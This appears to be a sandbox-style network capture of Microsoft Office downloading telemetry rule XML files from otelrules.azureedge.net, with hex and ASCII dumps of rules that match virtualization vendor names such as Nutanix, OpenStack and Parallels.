2024-11-18 19:21:33 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:33 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192133Z-16547b76f7fd77jrhC1DFWfwq000000002wg00000000hbb7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:33 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192133Z-16547b76f7fwm7vghC1DFW900s00000003sg00000000qb5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:33 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:34 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192134Z-16547b76f7fsq6p7hC1DFWfx6800000004n000000000qymc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:34 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: d6bc25f6-801e-00a0-4c08-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192134Z-1866b5c5fbbpxkkxhC1DFWhvmc00000006gg00000000hg4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:34 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:34 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192134Z-16547b76f7f64d6whC1DFWf9vn00000004s000000000pe42 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:34 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192134Z-16547b76f7fd4rc5hC1DFWkzhw00000006eg00000000rtz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:34 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192134Z-16547b76f7ftfv4jhC1DFWuhug00000003u000000000fw1r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:34 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:34 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192134Z-1866b5c5fbblmztchC1DFWs6v400000004w0000000005dyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:34 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:34 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:34 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 96c88eee-b01e-005c-317c-364c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192134Z-164f84587bfr8hdmhC1DFWt5nc00000004dg00000000nhyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:35 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:34 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:35 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:34 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192134Z-16547b76f7fljddfhC1DFWeqbs000000073g00000000843y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:35 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:34 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192134Z-16547b76f7fd4rc5hC1DFWkzhw00000006e000000000v4ue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:35 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:35 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:35 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a9097ed3-401e-0064-107c-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192135Z-164f84587bf7k72dhC1DFWvczs00000006a00000000068y5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:35 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 